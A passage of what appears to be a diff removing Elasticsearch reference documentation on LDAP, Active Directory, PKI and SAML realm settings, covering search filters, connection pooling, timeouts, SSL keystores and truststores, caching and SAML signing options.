-(<<static-cluster-setting,Static>>)
-The interval to perform background checks of connections in the pool.
-Defaults to `60s`.
-
-`group_search.base_dn`::
-(<<static-cluster-setting,Static>>)
-The container DN to search for groups in which the user has membership. When
-this element is absent, {es} searches for the attribute specified by
-`user_group_attribute` set on the user in order to determine group membership.
-
-`group_search.scope`::
-(<<static-cluster-setting,Static>>)
-Specifies whether the group search should be `sub_tree`, `one_level` or
-`base`.  `one_level` only searches objects directly contained within the
-`base_dn`. `sub_tree` searches all objects contained under `base_dn`.
-`base` specifies that the `base_dn` is a group object, and that it is the
-only group considered. Defaults to  `sub_tree`.
-
-`group_search.filter`::
-(<<static-cluster-setting,Static>>)
-Specifies a filter to use to look up a group.
-When not set, the realm searches for `group`, `groupOfNames`, `groupOfUniqueNames`,
-or `posixGroup` with the attributes `member`, `memberOf`, or `memberUid`.  Any
-instance of `{0}` in the filter is replaced by the user attribute defined in
-`group_search.user_attribute`.
-
-`group_search.user_attribute`::
-(<<static-cluster-setting,Static>>)
-Specifies the user attribute that is fetched and provided as a parameter to
-the filter.  If not set, the user DN is passed into the filter. Defaults to Empty.
-
-`unmapped_groups_as_roles`::
-(<<static-cluster-setting,Static>>)
-If set to `true`, the names of any unmapped LDAP groups are used as role names
-and assigned to the user. A group is considered to be _unmapped_ if it is not
-referenced in a <<mapping-roles-file,role-mapping file>>. API-based
-role mappings are not considered. Defaults to `false`.
-
-`files.role_mapping`::
-(<<static-cluster-setting,Static>>)
-The <<security-files,location>> for the
-<<mapping-roles,YAML role mapping configuration file>>. Defaults to
-`ES_PATH_CONF/role_mapping.yml`.
-
-`follow_referrals`::
-(<<static-cluster-setting,Static>>)
-Specifies whether {es} should follow referrals returned
-by the LDAP server. Referrals are URLs returned by the server that are to be
-used to continue the LDAP operation (for example, search). Defaults to `true`.
-
-`metadata`::
-(<<static-cluster-setting,Static>>)
-A list of additional LDAP attributes that should be loaded from the
-LDAP server and stored in the authenticated user's metadata field.
-
-`timeout.tcp_connect`::
-(<<static-cluster-setting,Static>>)
-The TCP connect timeout period for establishing an LDAP connection.
-An `s` at the end indicates seconds, or `ms` indicates milliseconds.
-Defaults to `5s` (5 seconds ).
-
-`timeout.tcp_read`::
-(<<static-cluster-setting,Static>>)
-deprecated[7.7] The TCP read timeout period after establishing an LDAP
-connection. This is equivalent to and is deprecated in favor of
-`timeout.response` and they cannot be used simultaneously. An `s` at the end
-indicates seconds, or `ms` indicates milliseconds.
-
-`timeout.response`::
-(<<static-cluster-setting,Static>>)
-The time interval to wait for the response from the LDAP server. An `s` at the
-end indicates seconds, or `ms` indicates milliseconds. Defaults to the value of
-`timeout.ldap_search`.
-
-`timeout.ldap_search`::
-(<<static-cluster-setting,Static>>)
-The timeout period for an LDAP search. The value is specified in the request
-and is enforced by the receiving LDAP Server.
-An `s` at the end indicates seconds, or `ms` indicates milliseconds.
-Defaults to `5s` (5 seconds ).
-
-`ssl.key`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-key-pem]
-+
-If the LDAP server requires client authentication, it uses this file. You cannot
-use this setting and `ssl.keystore.path` at the same time.
-
-`ssl.key_passphrase`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-key-passphrase]
-
-`ssl.secure_key_passphrase`::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-secure-key-passphrase]
-
-`ssl.certificate`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-certificate]
-+
-This certificate is presented to clients when they connect.
-
-`ssl.certificate_authorities`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-certificate-authorities]
-+
-You cannot use this setting and `ssl.truststore.path` at the same time.
-
-`ssl.keystore.path`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-path]
-+
-You cannot use this setting and `ssl.key` at the same time.
-
-`ssl.keystore.type`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-type-pkcs12]
-
-`ssl.keystore.password`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-password]
-
-`ssl.keystore.secure_password`::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-secure-password]
-
-`ssl.keystore.key_password`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-key-password]
-
-`ssl.keystore.secure_key_password`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-secure-key-password]
-
-`ssl.truststore.path`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-path]
-+
-You cannot use this setting and `ssl.certificate_authorities` at the same time.
-
-`ssl.truststore.password`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-password]
-
-`ssl.truststore.secure_password`::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-secure-password]
-
-`ssl.truststore.type`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-type-pkcs11]
-
-`ssl.verification_mode`::
-(<<static-cluster-setting,Static>>)
-Indicates the type of verification when using `ldaps` to protect against man
-in the middle attacks and certificate forgery.
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-verification-mode-values]
-
-`ssl.supported_protocols`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-supported-protocols]
-
-`ssl.cipher_suites`::
-(<<static-cluster-setting,Static>>)
-Specifies the cipher suites that should be supported when
-communicating with the LDAP server.
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-cipher-suites-values]
-
-`cache.ttl`::
-(<<static-cluster-setting,Static>>)
-Specifies the time-to-live for cached user entries. A user and a hash of its
-credentials are cached for this period of time. Use the standard {es}
-<<time-units,time units>>. Defaults to  `20m`.
-
-`cache.max_users`::
-(<<static-cluster-setting,Static>>)
-Specifies the maximum number of user entries that the cache can contain.
-Defaults to `100000`.
-
-`cache.hash_algo`::
-(<<static-cluster-setting,Static>>, Expert)
-Specifies the hashing algorithm that is used for the
-in-memory cached user credentials. See <<cache-hash-algo>>. Defaults to `ssha256`.
-
-`authentication.enabled`::
-(<<static-cluster-setting,Static>>)
-If set to `false`, disables authentication support in
-this realm, so that it only supports user lookups.
-(See the <<run-as-privilege,run as>> and
-<<authorization_realms,authorization realms>> features).
-Defaults to `true`.
-
-[[ref-ad-settings]]
-[discrete]
-===== Active Directory realm settings
-
-The `type` setting must be set to `active_directory`. In addition to the
-<<ref-realm-settings,settings that are valid for all realms>>, you can specify
-the following settings:
-
-`url`::
-(<<static-cluster-setting,Static>>)
-One or more LDAP URLs in the `ldap[s]://<server>:<port>` format. Defaults to
-`ldap://<domain_name>:389`. This setting is required when connecting using
-SSL/TLS or when using a custom port.
-+
-To provide multiple URLs, use a YAML array (`["ldap://server1:636", "ldap://server2:636"]`)
-or comma-separated string (`"ldap://server1:636, ldap://server2:636"`).
-+
-While both are supported, you can't mix the `ldap` and `ldaps` protocols.
-+
-If no URL is provided, {es} uses a default of `ldap://<domain_name>:389`. This
-default uses the `domain_name` setting value and assumes an unencrypted
-connection to port 389.
-
-`load_balance.type`::
-(<<static-cluster-setting,Static>>)
-The behavior to use when there are multiple LDAP URLs defined. For supported
-values see <<load-balancing,load balancing and failover types>>.
-Defaults to `failover`.
-
-`load_balance.cache_ttl`::
-(<<static-cluster-setting,Static>>)
-When using `dns_failover` or `dns_round_robin` as the load balancing type,
-this setting controls the amount of time to cache DNS lookups. Defaults
-to `1h`.
-
-`domain_name`::
-(<<static-cluster-setting,Static>>)
-The domain name of Active Directory. If the `url` and the `user_search.base_dn`
-settings are not specified, the cluster can derive those values from this
-setting. Required.
-
-`bind_dn`::
-(<<static-cluster-setting,Static>>)
-The DN of the user that is used to bind to Active Directory and perform searches.
-Defaults to Empty. Due to its potential security impact, `bind_dn` is not
-exposed via the <<cluster-nodes-info,nodes info API>>.
-
-`bind_password`::
-(<<static-cluster-setting,Static>>)
-deprecated[6.3] Use `secure_bind_password` instead. The password for the user
-that is used to bind to Active Directory. Defaults to Empty. Due to its
-potential security impact, `bind_password` is not exposed via the
-<<cluster-nodes-info,nodes info API>>.
-
-`secure_bind_password`::
-(<<secure-settings,Secure>>)
-The password for the user that is used to bind to Active Directory.
-Defaults to Empty.
-
-`unmapped_groups_as_roles`::
-(<<static-cluster-setting,Static>>)
-If set to `true`, the names of any unmapped Active Directory groups are used as
-role names and assigned to the user. A group is considered _unmapped_ when it
-is not referenced in any role-mapping files. API-based role mappings are not
-considered. Defaults to `false`.
-
-`files.role_mapping`::
-(<<static-cluster-setting,Static>>)
-The <<security-files,location>> for the YAML
-role mapping configuration file. Defaults to `ES_PATH_CONF/role_mapping.yml`.
-
-`user_search.base_dn`::
-(<<static-cluster-setting,Static>>)
-The context to search for a user. Defaults to the root
-of the Active Directory domain.
-
-`user_search.scope`::
-(<<static-cluster-setting,Static>>)
-Specifies whether the user search should be `sub_tree`, `one_level` or `base`.
-`one_level` only searches users directly contained within the `base_dn`.
-`sub_tree` searches all objects contained under `base_dn`. `base`
-specifies that the `base_dn` is a user object, and that it is the
-only user considered. Defaults to `sub_tree`.
-
-`user_search.filter`::
-(<<static-cluster-setting,Static>>)
-Specifies a filter to use to lookup a user given a username.  The default
-filter looks up `user` objects with either `sAMAccountName` or
-`userPrincipalName`. If specified, this must be a valid LDAP user search filter.
-For example `(&(objectClass=user)(sAMAccountName={0}))`. For more information,
-see
-https://msdn.microsoft.com/en-us/library/aa746475(v=vs.85).aspx[Search Filter Syntax].
-
-`user_search.upn_filter`::
-(<<static-cluster-setting,Static>>)
-Specifies a filter to use to lookup a user given a user principal name.
-The default filter looks up `user` objects with
-a matching `userPrincipalName`. If specified, this
-must be a valid LDAP user search filter. For example,
-`(&(objectClass=user)(userPrincipalName={1}))`. `{1}` is the full user principal name
-provided by the user. For more information, see
-https://msdn.microsoft.com/en-us/library/aa746475(v=vs.85).aspx[Search Filter Syntax].
-
-`user_search.down_level_filter`::
-(<<static-cluster-setting,Static>>)
-Specifies a filter to use to lookup a user given a down level logon name
-(DOMAIN\user). The default filter looks up `user` objects with a matching
-`sAMAccountName` in the domain provided. If specified, this
-must be a valid LDAP user search filter. For example,
-`(&(objectClass=user)(sAMAccountName={0}))`. For more information, see
-https://msdn.microsoft.com/en-us/library/aa746475(v=vs.85).aspx[Search Filter Syntax].
-
-`user_search.pool.enabled`::
-(<<static-cluster-setting,Static>>)
-Enables or disables connection pooling for user search. When
-disabled a new connection is created for every search. The
-default is `true` when `bind_dn` is provided.
-
-`user_search.pool.size`::
-(<<static-cluster-setting,Static>>)
-The maximum number of connections to the Active Directory server to allow in the
-connection pool. Defaults to `20`.
-
-`user_search.pool.initial_size`::
-(<<static-cluster-setting,Static>>)
-The initial number of connections to create to the Active Directory server on startup.
-Defaults to `0`. If the LDAP server is down, values greater than 0
-could cause startup failures.
-
-`user_search.pool.health_check.enabled`::
-(<<static-cluster-setting,Static>>)
-Enables or disables a health check on Active Directory connections in the connection
-pool. Connections are checked in the background at the specified interval.
-Defaults to `true`.
-
-`user_search.pool.health_check.dn`::
-(<<static-cluster-setting,Static>>)
-The distinguished name to be retrieved as part of the health check.
-Defaults to the value of `bind_dn` if that setting is present. Otherwise, it
-defaults to the value of the `user_search.base_dn` setting.
-
-`user_search.pool.health_check.interval`::
-(<<static-cluster-setting,Static>>)
-The interval to perform background checks of connections in the pool.
-Defaults to `60s`.
-
-`group_search.base_dn`::
-(<<static-cluster-setting,Static>>)
-The context to search for groups in which the user has membership.  Defaults
-to the root of the Active Directory domain.
-
-`group_search.scope`::
-(<<static-cluster-setting,Static>>)
-Specifies whether the group search should be `sub_tree`, `one_level` or
-`base`.  `one_level` searches for groups directly contained within the
-`base_dn`. `sub_tree` searches all objects contained under `base_dn`.
-`base` specifies that the `base_dn` is a group object, and that it is
-the only group considered. Defaults to `sub_tree`.
-
-`metadata`::
-(<<static-cluster-setting,Static>>)
-A list of additional LDAP attributes that should be loaded from the
-LDAP server and stored in the authenticated user's metadata field.
-
-`timeout.tcp_connect`::
-(<<static-cluster-setting,Static>>)
-The TCP connect timeout period for establishing an LDAP connection.
-An `s` at the end indicates seconds, or `ms` indicates milliseconds.
-Defaults to `5s` (5 seconds ).
-
-`timeout.tcp_read`::
-(<<static-cluster-setting,Static>>)
-deprecated[7.7] The TCP read timeout period after establishing an LDAP
-connection.  This is equivalent to and is deprecated in favor of
-`timeout.response` and they cannot be used simultaneously. An `s` at the end
-indicates seconds, or `ms` indicates milliseconds. Defaults to the value of
-`timeout.ldap_search`.
-
-`timeout.response`::
-(<<static-cluster-setting,Static>>)
-The time interval to wait for the response from the AD server. An `s` at the
-end indicates seconds, or `ms` indicates milliseconds. Defaults to the value of
-`timeout.ldap_search`.
-
-`timeout.ldap_search`::
-(<<static-cluster-setting,Static>>)
-The timeout period for an LDAP search. The value is specified in the request
-and is enforced by the receiving LDAP Server.
-An `s` at the end indicates seconds, or `ms` indicates milliseconds.
-Defaults to `5s` (5 seconds ).
-
-`ssl.certificate`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-certificate]
-+
-This certificate is presented to clients when they connect.
-
-`ssl.certificate_authorities`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-certificate-authorities]
-+
-You cannot use this setting and `ssl.truststore.path` at the same time.
-
-`ssl.key`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-key-pem]
-+
-If the Active Directory server requires client authentication, it uses this file.
-You cannot use this setting and `ssl.keystore.path` at the same time.
-
-`ssl.key_passphrase`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-key-passphrase]
-
-`ssl.secure_key_passphrase`::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-secure-key-passphrase]
-
-`ssl.keystore.key_password`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-key-password]
-
-`ssl.keystore.secure_key_password`::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-secure-key-password]
-
-`ssl.keystore.password`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-password]
-
-`ssl.secure_keystore.password`::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-secure-password]
-//TBD: Why/how is this different than `ssl.keystore.secure_password`?
-
-`ssl.keystore.path`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-path]
-+
-You cannot use this setting and `ssl.key` at the same time.
-
-`ssl.keystore.type`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-type-pkcs12]
-
-`ssl.truststore.password`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-password]
-
-`ssl.truststore.secure_password`::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-secure-password]
-
-`ssl.truststore.path`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-path]
-+
-You cannot use this setting and `ssl.certificate_authorities` at the same time.
-
-`ssl.truststore.type`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-type-pkcs11]
-
-`ssl.verification_mode`::
-(<<static-cluster-setting,Static>>)
-Indicates the type of verification when using `ldaps` to protect against man
-in the middle attacks and certificate forgery.
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-verification-mode-values]
-
-`ssl.supported_protocols`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-supported-protocols]
-
-`ssl.cipher_suites`::
-(<<static-cluster-setting,Static>>)
-Specifies the cipher suites that should be supported when
-communicating with the Active Directory server.
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-cipher-suites-values]
-
-`cache.ttl`::
-(<<static-cluster-setting,Static>>)
-Specifies the time-to-live for cached user entries. A user and a hash of its
-credentials are cached for this configured period of time. Use the
-standard Elasticsearch <<time-units,time units>>).
-Defaults to `20m`.
-
-`cache.max_users`::
-(<<static-cluster-setting,Static>>)
-Specifies the maximum number of user entries that the cache can contain.
-Defaults to `100000`.
-
-`cache.hash_algo`::
-(<<static-cluster-setting,Static>>, Expert)
-Specifies the hashing algorithm that is used for
-the in-memory cached user credentials. See <<cache-hash-algo>>. Defaults to `ssha256`.
-
-`authentication.enabled`::
-(<<static-cluster-setting,Static>>)
-If set to `false`, disables authentication support in
-this realm, so that it only supports user lookups.
-(See the <<run-as-privilege,run as>> and
-<<authorization_realms,authorization realms>> features).
-Defaults to `true`.
-
-`follow_referrals`::
-(<<static-cluster-setting,Static>>)
-If set to `true`, {es} follows referrals returned by the LDAP server.
-Referrals are URLs returned by the server that are to be used to continue the
-LDAP operation (such as `search`). Defaults to `true`.
-
-[[ref-pki-settings]]
-[discrete]
-===== PKI realm settings
-
-The `type` setting must be set to `pki`. In addition to the
-<<ref-realm-settings,settings that are valid for all realms>>, you can specify
-the following settings:
-
-`username_pattern`::
-(<<static-cluster-setting,Static>>)
-The regular expression pattern used to extract the username from the
-certificate DN. The first match group is the used as the username.
-Defaults to `CN=(.*?)(?:,\|$)`.
-
-`certificate_authorities`::
-(<<static-cluster-setting,Static>>)
-List of paths to the PEM certificate files that should be used to authenticate a
-user's certificate as trusted. Defaults to the trusted certificates configured
-for SSL. This setting cannot be used with `truststore.path`.
-
-`truststore.algorithm`::
-(<<static-cluster-setting,Static>>)
-Algorithm for the truststore. Defaults to `SunX509`.
-
-`truststore.password`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-password]
-If `truststore.path` is set, this setting is required.
-
-`truststore.secure_password`::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-secure-password]
-
-`truststore.path`::
-(<<static-cluster-setting,Static>>)
-The path of a truststore to use. Defaults to the trusted certificates configured
-for SSL. This setting cannot be used with `certificate_authorities`.
-
-`files.role_mapping`::
-(<<static-cluster-setting,Static>>)
-Specifies the <<security-files,location>> of the
-<<mapping-roles,YAML role  mapping configuration file>>.
-Defaults to `ES_PATH_CONF/role_mapping.yml`.
-
-`authorization_realms`::
-(<<static-cluster-setting,Static>>)
-The names of the realms that should be consulted for delegated authorization.
-If this setting is used, then the PKI realm does not perform role mapping and
-instead loads the user from the listed realms.
-See <<authorization_realms>>.
-
-`cache.ttl`::
-(<<static-cluster-setting,Static>>)
-Specifies the time-to-live for cached user entries. A user and a hash of its
-credentials are cached for this period of time. Use the
-standard {es} <<time-units,time units>>).
-Defaults to `20m`.
-
-`cache.max_users`::
-(<<static-cluster-setting,Static>>)
-Specifies the maximum number of user entries that the cache can contain.
-Defaults to `100000`.
-
-`delegation.enabled`::
-(<<static-cluster-setting,Static>>)
-Generally, in order for the clients to be authenticated by the PKI realm they
-must connect directly to {es}. That is, they must not pass through proxies
-which terminate the TLS connection. In order to allow for a *trusted* and
-*smart* proxy, such as Kibana, to sit before {es} and terminate TLS
-connections, but still allow clients to be authenticated on {es} by this realm,
-you need to toggle this to `true`. Defaults to `false`. If delegation is
-enabled, then either `truststore.path` or `certificate_authorities` setting
-must be defined. For more details, see <<pki-realm-for-proxied-clients,
-Configuring authentication delegation for PKI realms>>.
-
-[[ref-saml-settings]]
-[discrete]
-===== SAML realm settings
-// tag::saml-description-tag[]
-The `type` setting must be set to `saml`. In addition to the
-<<ref-realm-settings,settings that are valid for all realms>>, you can specify
-the following settings.
-// end::saml-description-tag[]
-
-// tag::saml-idp-entity-id-tag[]
-`idp.entity_id` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The Entity ID of the SAML Identity Provider. An Entity ID is a URI with a
-maximum length of 1024 characters. It can be a URL (https://idp.example.com/) or
-a URN (`urn:example.com:idp`) and can be found in the configuration or the SAML
-metadata of the Identity Provider.
-// end::saml-idp-entity-id-tag[]
-
-// tag::saml-idp-metadata-path-tag[]
-`idp.metadata.path` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The path _(recommended)_ or URL to a SAML 2.0 metadata file describing the
-capabilities and configuration of the Identity Provider.
-If a path is provided, then it is resolved relative to the {es} config
-directory.
-If a URL is provided, then it must be either a `file` URL or a `https` URL.
-{es} automatically polls this metadata resource and reloads
-the IdP configuration when changes are detected.
-File based resources are polled at a frequency determined by the global {es}
-`resource.reload.interval.high` setting, which defaults to 5 seconds.
-HTTPS resources are polled at a frequency determined by the realm's
-`idp.metadata.http.refresh` setting.
-// end::saml-idp-metadata-path-tag[]
-
-// tag::saml-idp-metadata-http-refresh-tag[]
-`idp.metadata.http.refresh` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Controls the frequency with which `https` metadata is checked for changes.
-Defaults to `1h` (1 hour).
-// end::saml-idp-metadata-http-refresh-tag[]
-
-// tag::saml-idp-use-single-logout-tag[]
-`idp.use_single_logout` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Indicates whether to utilise the Identity Provider's Single Logout service
-(if one exists in the IdP metadata file).
-Defaults to `true`.
-// end::saml-idp-use-single-logout-tag[]
-
-// tag::saml-sp-entity-id-tag[]
-`sp.entity_id` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The Entity ID to use for this SAML Service Provider. This should be entered as a
-URI. We recommend that you use the base URL of your Kibana instance. For example,
-`https://kibana.example.com/`.
-// end::saml-sp-entity-id-tag[]
-
-// tag::saml-sp-acs-tag[]
-`sp.acs` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The URL of the Assertion Consumer Service within {kib}. Typically this is the
-"api/security/saml/callback" endpoint of your Kibana server. For example,
-`https://kibana.example.com/api/security/saml/callback`.
-// end::saml-sp-acs-tag[]
-
-// tag::saml-sp-logout-tag[]
-`sp.logout` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The URL of the Single Logout service within {kib}. Typically this is the
-"logout" endpoint of your Kibana server. For example,
-`https://kibana.example.com/logout`.
-// end::saml-sp-logout-tag[]
-
-// tag::saml-attributes-principal-tag[]
-`attributes.principal` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The Name of the SAML attribute that contains the user's principal (username).
-// end::saml-attributes-principal-tag[]
-
-// tag::saml-attributes-groups-tag[]
-`attributes.groups` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The Name of the SAML attribute that contains the user's groups.
-// end::saml-attributes-groups-tag[]
-
-// tag::saml-attributes-name-tag[]
-`attributes.name` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The Name of the SAML attribute that contains the user's full name.
-// end::saml-attributes-name-tag[]
-
-// tag::saml-attributes-mail-tag[]
-`attributes.mail` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The Name of the SAML attribute that contains the user's email address.
-// end::saml-attributes-mail-tag[]
-
-// tag::saml-attributes-dn-tag[]
-`attributes.dn` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The Name of the SAML attribute that contains the user's X.50
-_Distinguished Name_.
-// end::saml-attributes-dn-tag[]
-
-// tag::saml-attributes-patterns-principal-tag[]
-`attribute_patterns.principal` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-A Java regular expression that is matched against the SAML attribute specified
-by `attributes.pattern` before it is applied to the user's _principal_ property.
-The attribute value must match the pattern and the value of the first
-_capturing group_ is used as the principal. For example, `^([^@]+)@example\\.com$`
-matches email addresses from the "example.com" domain and uses the local-part as
-the principal.
-// end::saml-attributes-patterns-principal-tag[]
-
-// tag::saml-attributes-patterns-groups-tag[]
-`attribute_patterns.groups` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-As per `attribute_patterns.principal`, but for the _group_ property.
-// end::saml-attributes-patterns-groups-tag[]
-
-// tag::saml-attributes-patterns-name-tag[]
-`attribute_patterns.name` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-As per `attribute_patterns.principal`, but for the _name_ property.
-// end::saml-attributes-patterns-name-tag[]
-
-// tag::saml-attributes-patterns-mail-tag[]
-`attribute_patterns.mail` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-As per `attribute_patterns.principal`, but for the _mail_ property.
-// end::saml-attributes-patterns-mail-tag[]
-
-// tag::saml-attributes-patterns-dn-tag[]
-`attribute_patterns.dn` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-As per `attribute_patterns.principal`, but for the _dn_ property.
-// end::saml-attributes-patterns-dn-tag[]
-
-// tag::saml-nameid-format-tag[]
-`nameid_format` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The NameID format that should be requested when asking the IdP to authenticate
-the current user. Defaults to requesting _transient_ names
-(`urn:oasis:names:tc:SAML:2.0:nameid-format:transient`).
-// end::saml-nameid-format-tag[]
-
-// tag::saml-nameid-allow-create-tag[]
-`nameid.allow_create` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The value of the `AllowCreate` attribute of the
-`NameIdPolicy` element in an authentication request. The default value is false.
-// end::saml-nameid-allow-create-tag[]
-
-// tag::saml-nameid-sp-qualifier-tag[]
-`nameid.sp_qualifier` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The value of the `SPNameQualifier` attribute of the
-`NameIdPolicy` element in an authentication request. The default is to not
-include the `SPNameQualifier` attribute.
-// end::saml-nameid-sp-qualifier-tag[]
-
-// tag::saml-force-authn-tag[]
-`force_authn` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Specifies whether to set the `ForceAuthn` attribute when requesting that the IdP
-authenticate the current user. If set to `true`, the IdP is required to verify
-the user’s identity, irrespective of any existing sessions they might have.
-Defaults to `false`.
-// end::saml-force-authn-tag[]
-
-// tag::saml-populate-user-metadata-tag[]
-`populate_user_metadata` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Specifies whether to populate the {es} user's metadata with the values that are
-provided by the SAML attributes. Defaults to `true`.
-// end::saml-populate-user-metadata-tag[]
-
-`authorization_realms`::
-(<<static-cluster-setting,Static>>)
-The names of the realms that should be consulted for delegated authorization.
-If this setting is used, then the SAML realm does not perform role mapping and
-instead loads the user from the listed realms.
-See <<authorization_realms>>.
-
-// tag::saml-allowed-clock-skew-tag[]
-`allowed_clock_skew` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The maximum amount of skew that can be tolerated between the IdP's clock and the
-{es} node's clock.
-Defaults to `3m` (3 minutes).
-// end::saml-allowed-clock-skew-tag[]
-
-// tag::saml-req-authn-context-tag[]
-`req_authn_context_class_ref` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-A comma separated list of Authentication Context Class Reference values to be
-included in the Requested Authentication Context when requesting the IdP to
-authenticate the current user. The Authentication Context of the corresponding
-authentication response should contain at least one of the requested values.
-+
-For more information, see
-<<req-authn-context>>.
-// end::saml-req-authn-context-tag[]
-
-[discrete]
-[[ref-saml-signing-settings]]
-===== SAML realm signing settings
-// tag::saml-signing-description-tag[]
-If a signing key is configured (that is, either `signing.key` or
-`signing.keystore.path` is set), then {es} signs outgoing SAML messages.
-Signing can be configured using the following settings:
-// end::saml-signing-description-tag[]
-
-// tag::saml-signing-messages-tag[]
-`signing.saml_messages` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-A list of SAML message types that should be signed or `*` to sign all messages.
-Each element in the list should be the local name of a SAML XML Element.
-Supported element types are `AuthnRequest`, `LogoutRequest` and `LogoutResponse`.
-Only valid if `signing.key` or `signing.keystore.path` is also specified.
-Defaults to `*`.
-// end::saml-signing-messages-tag[]
-
-// tag::saml-signing-key-tag[]
-`signing.key` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Specifies the path to the PEM encoded private key to use for SAML message signing.
-`signing.key` and `signing.keystore.path` cannot be used at the same time.
-// end::saml-signing-key-tag[]
-
-`signing.secure_key_passphrase` {ess-icon}::
-(<<secure-settings,Secure>>)
-Specifies the passphrase to decrypt the PEM encoded private key (`signing.key`)
-if it is encrypted.
-
-// tag::saml-signing-certificate-tag[]
-`signing.certificate` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Specifies the path to the PEM encoded certificate (or certificate chain) that
-corresponds to the `signing.key`. This certificate must also be included in the
-Service Provider metadata or manually configured within the IdP to allow for
-signature validation. This setting can only be used if `signing.key` is set.
-// end::saml-signing-certificate-tag[]
-
-// tag::saml-signing-keystore-path-tag[]
-`signing.keystore.path` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The path to the keystore that contains a private key and certificate. It must be
-either a Java keystore (jks) or a PKCS#12 file. You cannot use this setting and
-`signing.key` at the same time.
-// end::saml-signing-keystore-path-tag[]
-
-// tag::saml-signing-keystore-type-tag[]
-`signing.keystore.type` {ess-icon}::
-(<<static-cluster-setting,Static>>)
